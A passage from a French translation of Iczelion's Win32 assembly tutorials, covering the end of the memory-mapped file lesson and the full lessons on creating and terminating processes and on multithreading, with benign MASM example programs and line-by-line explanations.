CloseMapFile ferme le 'Fichier Mappé' et le fichier réel, pour empêcher qu'il n'y ait une fuite de ressources lorsqu'on sort de notre programme Win32.
Si l'utilisateur veut sauvegarder les données dans un autre fichier, le programme l'affiche dans une DialogBox spéciale 'Sauvegarde'. Après qu'il ait tapé le nom du nouveau fichier, le fichier est créé par la fonction CreateFile.

invoke MapViewOfFile,hMapFile,FILE_MAP_READ,0,0,0
mov pMemory,eax

Immédiatement après que le fichier ait été créé, nous appelons MapViewOfFile pour Mapper la partie désirée du 'Fichier Mappé' en mémoire. Cette fonction a la syntaxe suivante :

MapViewOfFile proto hFileMappingObject:DWORD,\
dwDesiredAccess:DWORD,\
dwFileOffsetHigh:DWORD,\
dwFileOffsetLow:DWORD,\
dwNumberOfBytesToMap:DWORD

dwDesiredAccess indique quelle opération nous souhaitons faire sur le fichier. Dans notre exemple, nous voulons seulement lire les données, donc nous employons FILE_MAP_READ.
dwFileOffsetHigh et dwFileOffsetLow indiquent l'offset de départ où commence le fichier que vous voulez Mapper en mémoire. Ici, nous voulons lire dans la totalité du fichier donc nous commençons le Mapping à l'offset 0.
dwNumberOfBytesToMap indique le nombre d'octets à Mapper en mémoire. Si vous voulez Mapper le fichier en entier (Spécifié par CreateFileMapping), donnez la valeur 0 à MapViewOfFile.
Après l'appel de MapViewOfFile, la partie désirée est chargée en mémoire. On vous renverra le pointer du bloc de mémoire qui contient les données du fichier.

invoke GetFileSize,hFileRead,NULL

Regarde de quelle taille est le fichier. La taille du fichier est renvoyée dans eax. Si le fichier est plus grand que 4 Go, le mot de poids fort de la taille du fichier est stocké dans FileSizeHighWord. Puisque nous ne nous attendons pas à manipuler un si grand fichier, nous pouvons l'ignorer.

invoke WriteFile,hFileWrite,pMemory,eax,ADDR SizeWritten,NULL

Écrit des données dans le fichier Mappé en Mémoire.

invoke UnmapViewOfFile,pMemory

Quand tout est près avec le fichier d'entrée, on l''Unmappe' de la mémoire.

call CloseMapFile
invoke CloseHandle,hFileWrite

et on referme tous les fichiers.

invoke SetWindowText,hWnd,ADDR AppName

Restore le titre original de la fenêtre principale.

invoke EnableMenuItem,hMenu,IDM_OPEN,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_SAVE,MF_GRAYED

Réactive le sous-menu 'Open' et désactive le sous-menu 'Save' en le grisant.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 14: Process

Tutorial 14: Process

Nous allons voir ce qu'est un process et comment faire pour le créer et le terminer.

Downloadez l'exemple ici. Attention en fait cet exemple est dans un *.ZIP et il ne marchera pas si vous le laissez dedans, donc dézippez-le.

Préliminaire:

Qu'est ce qu'un 'process' ? Je cite cette définition de la référence Win32 API:
"Un 'process' est une application (un programme) qui sert à exécuter un autre programme. C'est un espace d'adresses virtuel privé, de code, de données et d'autres ressources du système d'exploitation, comme les fichiers, ou la synchronisation d'objets qui sont visibles pour le process.."
Comme vous pouvez le voir dans la définition ci-dessus, un process "possède" plusieurs objets : l'espace d'adresse, le(s) module(s) (les autres programmes ou dll) à exécuter et tout ce que ces programmes créent ou ouvrent. Au minimum, un process doit consister en l'exécution d'un seul module, avec un espace d'adresse privé et un lien. Chaque process doit avoir au moins un lien. Qu'est ce qu'un lien ? Un lien est en réalité une suite d'instructions d'exécution en attente. Lorsque Windows crée un premier process, il crée seulement un lien de process. D'habitude, ce lien fait en sorte d'exécuter la première instruction dans le module (dans le programme ciblé). Si le process à besoins de plusieurs autres liens par la suite, il peut les créer.
Quand Windows reçoit une commande pour créer un process, il alloue un espace d'adresses mémoire privé et ensuite il Mappe (recopie) le fichier exécutable dans cet espace. Après cela il crée le premier lien du process.
Sous Win32, vous pouvez aussi créer des process de vos propres programmes en appelant la fonction CreateProcess. CreateProcess a la syntaxe suivante :

CreateProcess proto lpApplicationName:DWORD,\
lpCommandLine:DWORD,\
lpProcessAttributes:DWORD,\
lpThreadAttributes:DWORD,\
bInheritHandles:DWORD,\
dwCreationFlags:DWORD,\
lpEnvironment:DWORD,\
lpCurrentDirectory:DWORD,\
lpStartupInfo:DWORD,\
lpProcessInformation:DWORD

Ne soyez pas effrayez par le nombre de paramètres. Nous pouvons ignorer la plupart d'entre eux.

LpApplicationName est le nom du fichier exécutable avec ou sans nom de chemin que vous voulez exécuter. Si ce paramètre est nul, vous devez mettre le nom du fichier exécutable dans le paramètre lpCommandLine.
LpCommandLine sont les arguments de la ligne de commande du programme que vous voulez exécuter. Notez que si lpApplicationName est NULL, ce paramètre doit en plus contenir le nom du fichier exécutable. Comme cela : "notepad.exe readme.txt". (LpCommandLine c'est aussi l'argument qu'on écrit dans W32Dasm quand on fait 'Debug --> Load Process [argument] --> Load' , mais c'est très rare qu'on écrive quelque chose en tant qu'argument!)
LpProcessAttributes et lpthreadAttributes Spécifient les attributs de sécurité pour le process et le lien primaire. S'ils sont NULL, les attributs de sécurité par défaut sont employés.
BInheritHandles est un flag qui indique si vous voulez qu'un autre process hérite du contrôle de toutes les manipulations ouvertes par votre process.
DwCreationFlags représente Plusieurs flags qui déterminent le comportement du process que vous voulez créé, comme : voulez-vous qu'un process soit créés, mais suspendu immédiatement pour que vous puissiez l'examiner ou le modifier avant qu'il ne reparte ? Vous pouvez aussi spécifier la classe de priorité du lien(s) dans un nouveau process. Cette classe de priorité est employée pour déterminer la priorité de planification des liens du process. Normalement nous employons le flag NORMAL_PRIORITY_CLASS.
LpEnvironment est le pointer du bloc d'environnement qui contient plusieurs instructions pour un nouveau process. Si ce paramètre est NULL, le nouveau process hérite de l'environnement du bloc process précédent.
LpCurrentDirectory est le pointer qui est sur la chaîne de caractères lequel indique l'actuel 'Lecteur ' (Drive) ainsi que le répertoire (Directory) du Child Process. Il est NULL si vous voulez que le 'Child Process' succède au 'Parent Process'.
LpStartupInfo pointe sur une structure STARTUPINFO laquelle dit comment doit apparaître la fenêtre principale du nouveau process. La structure STARTUPINFO contient beaucoup de membres servants à définir l'affichage de la fenêtre principale du 'Child Process'. Si vous ne voulez rien de spécial, vous pouvez remplir la structure STARTUPINFO avec les valeurs du 'Parent Process' en appelant la fonction GetStartupInfo.
LpProcessInformation pointe sur la structure PROCESS_INFORMATION laquelle reçoit l'information d'identification du nouveau process. La structure de PROCESS_INFORMATION est la suivante :

PROCESS_INFORMATION STRUCT
hProcess HANDLE ? ; Handle du 'Child Process'
hThread HANDLE ? ; Handle du premier lien du 'Child Process'
dwProcessId DWORD ? ; ID du 'Child Process'
dwThreadId DWORD ? ; ID du premier lien du 'Child Process'
PROCESS_INFORMATION ENDS
L'handle du process et l'ID du process sont deux choses différentes. L'ID est un identificateur unique du process dans le système. L'handle est une valeur renvoyée par Windows pour qu'on puisse l'utiliser avec d'autres process rapportés de fonctions API. L'handle du process ne peut pas être employé pour identifier un process puisque il n'est pas unique.

Après l'appel de CreateProcess, un nouveau process est créé et on retourne (au prog principal) immédiatement après cet appel de CreateProcess. Vous pouvez vérifier si le nouveau process est toujours actif en appelant la fonction GetExitCodeProcess qui a la syntaxe suivante :

GetExitCodeProcess proto hProcess:DWORD, lpExitCode:DWORD

Si cet appel est couronné de succès, lpExitCode contient le statut de terminaison du process en question. Si la valeur dans lpExitCode est égale à STILL_ACTIVE, alors ce process est toujours en cours.

Vous pouvez forcer le process à se terminer en appelant la fonction TerminateProcess. Voici sa syntaxe :

TerminateProcess proto hProcess:DWORD, uExitCode:DWORD

Vous pouvez spécifier le code de sortie désiré pour votre process, n'importe quelle valeur que vous souhaitez. TerminateProcess n'est pas une façon très propre de terminaison d'un process puisque chaque dll rattachée à ce process ne sera pas informée que le process a été fermé.

Exemple:

L'exemple suivant crée un nouveau process lorsque l'utilisateur choisit le sous-menu (le menu item) "Create Process". Il essayera d'exécuter "msgbox.exe". Si l'utilisateur souhaite terminer le nouveau process, il peut choisir le menu item "Terminate Process". Le programme vérifiera d'abord si le nouveau process est déjà fermé, si ce n'est pas le cas, le programme appellera la fonction TerminateProcess pour détruire le nouveau process.

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.const
IDM_CREATE_PROCESS equ 1
IDM_TERMINATE equ 2
IDM_EXIT equ 3

.data
ClassName db "Win32ASMProcessClass",0
AppName db "Win32 ASM Process Example",0
MenuName db "FirstMenu",0
processInfo PROCESS_INFORMATION <>
programname db "msgbox.exe",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HANDLE ?
ExitCode DWORD ? ; Contient le statut 'exitcode du process' servant à l'appel de GetExitCodeProcess.

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
invoke GetMenu,hwnd
mov hMenu,eax
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL startInfo:STARTUPINFO
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_INITMENUPOPUP
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if eax==TRUE
.if ExitCode==STILL_ACTIVE
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_ENABLED
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_CREATE_PROCESS
.if processInfo.hProcess!=0
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0
.endif
invoke GetStartupInfo,ADDR startInfo
invoke CreateProcess,ADDR programname,NULL,NULL,NULL,FALSE,\
NORMAL_PRIORITY_CLASS,\
NULL,NULL,ADDR startInfo,ADDR processInfo
invoke CloseHandle,processInfo.hThread
.elseif ax==IDM_TERMINATE
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if ExitCode==STILL_ACTIVE
invoke TerminateProcess,processInfo.hProcess,0
.endif
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0
.else
invoke DestroyWindow,hWnd
.endif
.endif
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analyse:

Ce programme crée la fenêtre principale et renvoie l'handle de son menu pour une future utilisation. Il attend alors que l'utilisateur choisisse une commande du menu. Lorsque l'utilisateur choisit le sous-menu "Process" du menu principal (de la barre de menu), nous déployons le menu grâce au message WM_INITMENUPOPUP pour modifier les sous-menus à l'intérieur du 'menu popup' (menu principal) avant qu'il ne soit affichés.

.ELSEIF uMsg==WM_INITMENUPOPUP
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if eax==TRUE
.if ExitCode==STILL_ACTIVE
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_ENABLED
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif

Pourquoi utilisons-nous ce message dans notre process? Parce que nous souhaitons préparer les sous-menus dans le menu popup avant que l'utilisateur ne puisse les voir. Dans notre exemple, lorsque le process n'est pas encore lancé, nous activons le sous-menu "Start Process" et désactivons "Terminate Process" (il est grisé). On fait le contraire quand le nouveau process est déjà actif.
Nous vérifions d'abord si le nouveau process dirige (a encore la main sur MsgBox.exe) toujours en appelant la fonction GetExitCodeProcess avec l'handle du process qui a été renvoyé par la fonction CreateProcess. Si en retour GetExitCodeProcess renvoie un FALSE(FAUX), alors ça signifie que notre process n'est pas encore lancé, donc nous grisons (désactivons) le sous-menu "Terminate Process". Si GetExitCodeProcess retourne TRUE(VRAIS), nous savons que notre nouveau process a été lancé, mais nous devons vérifier plus loin s'il est toujours en court. Donc nous comparons la valeur dans ExitCode à la valeur STILL_ACTIVE. S'ils sont égaux,c'est que notre process est toujours en court : nous devons alors désactiver le sous-menu "Start Process" puisque nous ne souhaitons pas lancer plusieurs process en même temps.

.if ax==IDM_CREATE_PROCESS
.if processInfo.hProcess!=0
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0
.endif
invoke GetStartupInfo,ADDR startInfo
invoke CreateProcess,ADDR programname,NULL,NULL,NULL,FALSE,\
NORMAL_PRIORITY_CLASS,\
NULL,NULL,ADDR startInfo,ADDR processInfo
invoke CloseHandle,processInfo.hThread

Quand l'utilisateur choisit le menu item "Start Process", nous vérifions d'abord si le membre hProcess de la structure PROCESS_INFORMATION est déjà fermé. Si c'est la première fois, la valeur d'hProcess sera toujours zéro puisque nous définissons la structure de PROCESS_INFORMATION dans la section '.data'. Si la valeur du membre hProcess n'est pas 0, ça signifie que le Child Process est sorti mais nous n'avons pas fermé son handle process encore. Donc c'est maintenant qu'il faut le faire.
Nous appelons la fonction GetStartupInfo pour récupérer la valeur startupinfo pour pouvoir ensuite la passer à la fonction CreateProcess. Après ça nous appelons la fonction CreateProcess pour commencer un nouveau process. Notez que je n'ai pas vérifié la valeur de retour de CreateProcess parce que ça aurait encore compliqué cet exemple. En réalité, vous devriez vérifier cette valeur de retour (de CreateProcess). Immédiatement après CreateProcess, nous fermons l'handle du premier lien, lequel est renvoyé par la structure processInfo. La fermeture du handle ne veut pas dire que le lien soit terminé, mais seulement que nous ne voulons pas employer cet handle pour nous référer au lien de notre programme. Si nous ne le fermons pas, ça provoquera une fuite des ressources.

.elseif ax==IDM_TERMINATE
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if ExitCode==STILL_ACTIVE
invoke TerminateProcess,processInfo.hProcess,0
.endif
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0

Quand l'utilisateur choisit le sous-menu (le menu item) "Terminate Process", nous vérifions si le nouveau process est toujours actif en appelant la fonction GetExitCodeProcess. Si il est toujours actif, nous appelons la fonction TerminateProcess pour détruire notre process. Aussi nous fermons l'handle du Child Process puisque désormais nous n'en avons plus besoin.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 15: Multithreading Programming

Tutorial 15: Programmation Multi-liens

Dans ce Tutorial, nous allons voir comment créer un programme multi-liens. On va étudier aussi les méthodes de communication entre les liens.

Downloadez l'exemple ici.

Théorie:

Dans le Tutorial précédent, vous avez appris ce qu'était le lien minimum pour un Process: le lien primaire. Un lien est une chaîne d'exécution. Mais vous pouvez aussi créer des liens supplémentaires dans votre programme. Vous pouvez vous représenter le multi-liens comme une multigestion d'un programme. En terme d'exécution, un lien est une fonction qui tourne en parallèle avec le programme principal. Vous pouvez ouvrir puis commander plusieurs fois la même fonction ou bien vous pouvez diriger plusieurs fonctions simultanément selon vos exigences. Le multi-liens est spécifique à Win32, ça n'existe pas sous Win16.
Par exemple, le multi-liens c'est quand un Process ouvre plusieurs fois une même MessageBox (en changent son contenu si on le souhaite) ou bien quand une MessageBox est appelée par plusieurs process différents.
Les liens sont dirigés par un même process donc ils peuvent avoir accès à n'importe quelles ressources de ce process, telles que les variables globales, les Handles etc. Cependant, chaque lien a sa propre délimitation dans le programme, donc les variables locales de chaque liens sont privées vis à vis des autres liens. Chaque lien possède aussi son jeu de registres privé, donc quand Windows se sert d'autres liens, le lien peut "se rappeler" son statut précédant et peut "reprendre" son ancienne tâche quand il regagne son contrôle. Tout ça est traité intérieurement par Windows.
Voilà ce que permet le multi-liens. Dans les deux programmes 'Thread.exe' et 'Thread1.exe' on leur fait exécuter un calcul très lourd qui les occupe. Pour 'Thread.exe' qui ne possède qu'un lien simple, il ne peut plus rien faire d'autre que son calcul quand il est commencé, il ne répond plus aux actions de l'utilisateur comme déplacer sa fenêtre pendant le calcul.
'Thread1.exe' qui lui possède un système multi-liens, se sert du lien de travail pour faire le calcul mais laisse un lien principale pour répondre aux sollicitations de l'utilisateur. Comme ça, il répond encore, même pendant une lourde tâche.
Nous pouvons diviser les liens en deux catégories :
  1. Les liens d'interface pour l'utilisateur : Ce type de liens crée sa propre fenêtre donc il reçoit des messages spécifiques aux fenêtres. Il peut répondre à l'utilisateur via sa propre fenêtre, de là son nom. Ce type de liens est soumis à la règle(autorité) Mutex de Win16 qui permet un seul lien d'interface d'utilisateur, en utilisation 16 bits avec le noyau gdi. alors qu'un lien d'interface d'utilisateur exécute le code d'utilisateur 16 bits avec le noyau gdi, les autres liens UI ne peuvent pas utiliser le service d'utilisateur 16 bits avec noyau gdi. Notez que ce Mutex Win16 est spécifique à Windows 95. Windows NT ne possède pas de Mutex Win16, c'est pourquoi les liens d'interface d'utilisateur de Windows NT s'effectuent plus doucement que sous Windows 95.
  2. Les liens de travail : Ce type de liens ne créent pas de fenêtre donc ils ne peuvent pas recevoir de message spécifiques aux fenêtres. Ils existent principalement pour faire le travail assigné en arrière-plan, de là leur nom.
Je conseille la stratégie suivante pour utiliser la pleine capacité des multi-liens sous Win32 : Laissez le lien primaire faire le truc d'interface d'utilisateur et les autres liens faire le travail complexe en arrière-plan. De cette façon, le lien primaire servira de 'Gouverneur', et les autres liens seront un peu comme le 'personnel du Gouverneur'. Le Gouverneur délègue ses responsabilités à son personnel tandis qu'il maintient le contact avec le public(l'utilisateur). Le personnel du Gouverneur exécute avec obéissance le travail et l'annonce de ses résultats. Si le Gouverneur (le lien primaire) devait exécuter chaque tâche lui-même, il ne serait pas capable de donner beaucoup d'attention au public ou à la presse. Tout ça s'apparente à une fenêtre qui a pour action d'effectuer un long travail pour occupée son lien primaire : il ne répond pas à l'utilisateur avant que le travail ne soit achevé. Un tel programme peut en profiter pour créer un lien additionel qui sera responsable du long travail, permettant ainsi au lien primaire de répondre aux commandes de l'utilisateur.
Nous pouvons créer un lien en appelant la fonction CreateThread, laquelle a la syntaxe suivante :

CreateThread proto lpThreadAttributes:DWORD,\
dwStackSize:DWORD,\
lpStartAddress:DWORD,\
lpParameter:DWORD,\
dwCreationFlags:DWORD,\
lpThreadId:DWORD

Le fonctionnement de CreateThread ressemble beaucoup à celui de CreateProcess.
lpThreadAttributes Vous pouvez le mettre à 0 (NULL) si vous souhaitez que le lien possède les attributs de sécurité par défaut.
dwStackSize spécifie la taille à réserver sur la pile pour le lien. Si vous voulez que le lien ait la même taille de pile que le lien primaire, employez le 0 (NULL) pour ce paramètre.
lpStartAddress Adresse de la fonction qui fait le 'lien'. C'est la fonction qui exécutera le travail (qui fera le lien). Cette fonction DOIT recevoir un et seulement un paramètre 32 bits et renvoyer une valeur sur 32 bits.
lpParameter C'est le paramètre optionnel que vous pouvez passer à la fonction 'lien'.
dwCreationFlags 0 signifie que le lien prend le commandement immédiatement après qu'il est été créé. L'opposé c'est le flag 'CREATE_SUSPENDED'.
lpThreadId La fonction 'CreateThread' donnera l'ID du nouveau lien créé à cette adresse.

Si l'appel de CreateThread s'est déroulé avec succès, il renvoie l'handle du lien nouvellement créé. Sinon, il renvoie un NULL.
Le lien est en fonction aussitôt après que l'appel de CreateThread soit un succès, à moins que vous ne mettiez le flag 'CREATE_SUSPENDED' dans dwCreationFlags. Dans ce cas, le lien est suspendu jusqu'à ce que la fonction ResumeThread soit appelée.
Après le retour de la 'fonction de lien' (avec l'instruction ret), Windows appelle la fonction ExitThread tout seul. Mais vous pouvez appeler la fonction ExitThread dans votre 'fonction de lien' par vous-même, mais là je ne développerai pas !
Vous pouvez retrouver le code de sortie d'un lien en appelant la fonction GetExitCodeThread.
Si vous voulez terminer un lien, vous pouvez appeler la fonction TerminateThread. Mais vous devez employer cette fonction seulement dans des circonstances extrêmes puisque cette fonction termine le lien immédiatement sans lui donner aucune chance de se fermer proprement, sans laissez derrière lui des valeurs qui lui sont spécifiques dans certaines variables.

Maintenant on va vous montrer les méthodes de communications entre les liens.
Il y en a trois:

  • L'utilisation des variables globales
  • Les messages Windows
  • Les événements
Les liens partagent les ressources du process en incluant des variables globales donc les liens peuvent utiliser ces varibles globales pour communiquer les uns avec les autres. Cependant cette méthode doit être utilisée avec grand soin. La synchronisation des liens doit être prise en compte. Par exemple, si deux liens emploient la même structure de 10 membres, ce qui arrive quand Windows prend soudainement le contrôle d'un lien lorsqu'il est en pleine remise à jour de sa structure, l'autre lien sera alors abandonné avec des données incomplètes ou sans significations pour sa structure! Ne faites pas d'erreur, les programmes multi-liens sont bien plus durs à mettre au point et à maintenir. Cette sorte de bogue(défaut) semble bien arriver au hasard, ce qui fait que c'est très difficile à traquer.
Vous pouvez aussi employer des messages de fenêtre pour communiquer entre les liens. Si les liens sont tous des interfaces d'utilisateur, il n'y a aucun problème : cette méthode peut être employée en tant que communication bilatérale. Tout ce que vous devez faire c'est définir sur mesure un ou plus messages de fenêtres lesquels seront spécifiques aux liens. Vous définissez un message sur mesure en employant le message WM_USER comme valeur de base. Voilà, vous pouvez le définir comme ceci :

WM_MYCUSTOMMSG equ WM_USER+100h

Windows n'emploiera jamais aucune valeur WM_USER vers ses propres messages donc vous pouvez employer la valeur WM_USER pour vos messages personnels.
Si un des lien est un lien d'interface utilisateur (le lien primaire, le Gouverneur) et qu'un autre est un des 'personnel du gouverneur', vous ne pouvez pas employer cette méthode en tant que communication bilatérale puisque un lien 'personnel' ne possède pas sa propre fenêtre. Donc il n'a y pas de file d'attente de message. Vous pouvez employer le schéma suivant :

User interface Thread ------> global variable(s)----> Worker thread
Worker Thread ------> custom window message(s) ----> User interface Thread

Soit en Français:

Lien d'interface d'utilisateur (primaire)------> variable(s) globale(s)----> lien de travail (personnel)
lien de travail (personnel)------>'message(s) de fenêtre' conçu sur mesure----> lien d'interface d'utilisateur

En fait, nous employons cette méthode dans notre exemple.
La dernière sorte de communication c'est l'événement objet. Vous pouvez vous représenter l'événement' comme une sorte de flag. Si l'événement est dans l'état "non signalé", le lien est inerte ou en sommeil, dans cet état, le lien ne reçoit pas d'ordre du CPU. Quand l'événement est dans l'état "signalé", Windows "réveille" le lien et il commence à exécuter la tâche assignée.

Exemple:

Vous devez Downloader le fichier *.Zip en exemple et lancer 'thread1.exe'. Cliquez sur le sous-menu (le menu item) "Savage Calculation". Ça ordonnera au programme d'exécuter l'instruction "add eax, eax" 600,000,000 fois. Remarquez que pendant ce temps-là, vous ne pouvez rien faire dans la fenêtre principale : vous ne pouvez pas la déplacer, vous ne pouvez pas activer son menu, etc. Quand le calcul est achevé, une boîte de message apparaît. Après ça, la fenêtre accepte de nouveau vos commandes normalement.
Pour éviter à l'utilisateur ce type d'inconvénient, nous pouvons déplacer la routine "de calcul" dans un lien de travail (personnel du gouverneur) séparé et laisser le lien primaire (le lien gouverneur) continuer avec sa tâche d'interface utilisateur. Vous pouvez voir que bien que la fenêtre principale réponde plus lentement que d'habitude, elle répond quand même toujours.

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.const
IDM_CREATE_THREAD equ 1
IDM_EXIT equ 2
WM_FINISH equ WM_USER+100h

.data
ClassName db "Win32ASMThreadClass",0
AppName db "Win32 ASM MultiThreading Example",0
MenuName db "FirstMenu",0
SuccessString db "The calculation is completed!",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwnd HANDLE ?
ThreadID DWORD ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_CREATE_THREAD
mov eax,OFFSET ThreadProc
invoke CreateThread,NULL,NULL,eax,\
NULL,0,\
ADDR ThreadID
invoke CloseHandle,eax
.else
invoke DestroyWindow,hWnd
.endif
.endif
.ELSEIF uMsg==WM_FINISH
invoke MessageBox,NULL,ADDR SuccessString,ADDR AppName,MB_OK
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

ThreadProc PROC USES ecx Param:DWORD
mov ecx,600000000
Loop1:
add eax,eax
dec ecx
jz Get_out
jmp Loop1
Get_out:
invoke PostMessage,hwnd,WM_FINISH,NULL,NULL
ret
ThreadProc ENDP

end start

Analyse:

Le programme principal se présente à l'utilisateur en tant qu'une fenêtre normale avec un menu. Si l'utilisateur choisit le menu item "Create Thread", le programme crée un lien comme indiqué ci-dessous :

.if ax==IDM_CREATE_THREAD
mov eax,OFFSET ThreadProc
invoke CreateThread,NULL,NULL,eax,\
NULL,0,\
ADDR ThreadID
invoke CloseHandle,eax

La susdite fonction crée un lien qui contrôlera une procédure nommée ThreadProc en parallèle avec le lien primaire. Après que cet appel soit couronné de succès, CreateThread revoie ses valeurs de retours immédiatement et ThreadProc se lance. Puisque nous n'employons pas d'handle de lien, nous devons le fermer sinon il y aura des fuites de mémoire. Notez que la fermeture de l'handle du lien ne termine pas ce lien. Son seul effet est que désormais nous ne pourrons plus employer l'handle du lien.

ThreadProc PROC USES ecx Param:DWORD
mov ecx,600000000
Loop1:
add eax,eax
dec ecx
jz Get_out
jmp Loop1
Get_out:
invoke PostMessage,hwnd,WM_FINISH,NULL,NULL
ret
ThreadProc ENDP

Comme vous pouvez le voir, ThreadProc exécute un calcul sauvage (un calcul immense qui occupe le système) qui prend une longue période de temps avant de se terminer, et quand il est finit il envoie enfin le message WM_FINISH vers la fenêtre principale. WM_FINISH est notre message (celui qu'on a créé sur mesure). Il est ainsi défini :

    WM_FINISH equ WM_USER+100h
Vous n'êtres pas obligez d'ajouter WM_USER et 100h mais c'est plus sûr quand même de faire ça.
Le message WM_FINISH n'a de signification uniquement que dans notre programme. Quand la fenêtre principale reçoit le message WM_FINISH, ça fait apparaître une boîte de message disant que le calcul est achevé.
Vous pouvez créer plusieurs liens en même temps en cliquant sur "Create Thread" plusieurs fois.
Dans cet exemple, la communication est à sens unique, c'est pour ça que c'est le lien principal uniquement, qui peut informer la fenêtre principale. Si vous voulez que le lien principal envoie des commandes au lien de travail, voilà comment faire :
  • Ajoutez un sous-menu disant quelque chose dans le genre " Kill Thread" (détruire le lien)
